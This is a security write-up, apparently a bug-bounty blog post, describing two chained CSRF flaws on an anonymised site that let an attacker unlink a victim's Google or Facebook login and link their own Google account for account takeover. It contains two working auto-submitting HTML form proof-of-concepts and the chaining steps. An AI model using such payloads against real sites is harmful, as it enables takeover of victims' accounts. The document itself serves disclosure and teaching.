Oauth 1 - Account Takeover via CSRF Vulnerabilities

Disclaimer: For security and privacy reasons, I’ve replaced the original platform name with example.com. This post explores a real vulnerability chain I discovered, shared here for educational purposes.

Introduction

While poking around the profile settings of example.com, I stumbled upon a juicy pair of CSRF vulnerabilities. These flaws allow an attacker to both unlink a victim’s social accounts (like Google or Facebook) and link their own Google account to take over the victim’s profile. No fancy tricks—just a missing CSRF token and some clever chaining. Let’s dive in!

What is CSRF?

In simple terms, Cross-Site Request Forgery (CSRF) is an attack where a malicious site tricks a user’s browser into sending an unwanted request to a trusted website. If the site doesn’t verify the request’s legitimacy (say, with a CSRF token), the attacker can perform actions on behalf of the victim—like linking or unlinking accounts.

The Setup

The profile section of example.com lets users connect their Google or Facebook accounts for easy login. Sounds convenient, right? But here’s the catch: the developers forgot to add CSRF protection, leaving the door wide open for exploitation.

Vulnerability #1: Linking an Attacker’s Google Account

Imagine an attacker silently linking their Google account to your profile and logging in as you. That’s exactly what this first vulnerability enables.

Process

Here’s how it goes down:

  1. Login: The victim logs into their example.com account using Chrome.
  2. The Bait: The victim opens a malicious HTML file (let’s call it link_csrf_poc.html) in the same browser—maybe from a phishing link or a compromised site.
  3. The Exploit: The file auto-submits a POST request to https://example.com/api/?action=connectGoogle with the attacker’s Google token.

Here’s the Proof of Concept (PoC):

<!DOCTYPE html>
<html>
<head>
    <title>CSRF PoC</title>
</head>
<body>
    <form action="https://example.com/api/?action=connectGoogle" method="POST" enctype="multipart/form-data">
        <input type="hidden" name="cmd" value="connect">
        <input type="hidden" name="token" value="[ATTACKER_GOOGLE_TOKEN]">
    </form>
    <script>
        document.forms[0].submit();
    </script>
</body>
</html>
  1. Boom: The attacker’s Google account is now linked, and they can log in as the victim using “Login with Google.”

What If There’s Already a Linked Account?

Good question! If the victim already has a Google account linked, the attacker can use the second vulnerability to unlink it first. Keep reading!

Vulnerability #2: Unlinking Social Accounts

This second flaw lets an attacker disconnect the victim’s Google or Facebook accounts, setting the stage for the takeover.

Process

Here’s the step-by-step:

  1. Login: The victim logs into example.com.
  2. Link an Account: They connect their Google account in the profile settings (if not already done).
  3. The Trap: The victim opens another malicious file (csrfPoc.html) in the same browser.
  4. The Exploit: The file submits a POST request to disconnect the account.

The PoC is beautifully simple:

<html>
  <body>
    <form action="https://example.com/api/?action=connectGoogle" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="cmd" value="unconnect">
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>
  1. Result: The victim’s Google account is unlinked without their knowledge.

Chaining the Exploits

Here’s where it gets spicy. An attacker can:

  1. Use the unlinking PoC to disconnect the victim’s Google account.
  2. Follow up with the linking PoC to attach their own account.
  3. Log in and take over the profile. Game over!

Conclusion

These CSRF vulnerabilities show how small oversights—like skipping a token—can lead to big problems. For users, it’s a reminder to watch what you click. For devs, it’s a call to lock down every endpoint. Hopefully, example.com patches this soon—until then, stay sharp out there! ^_^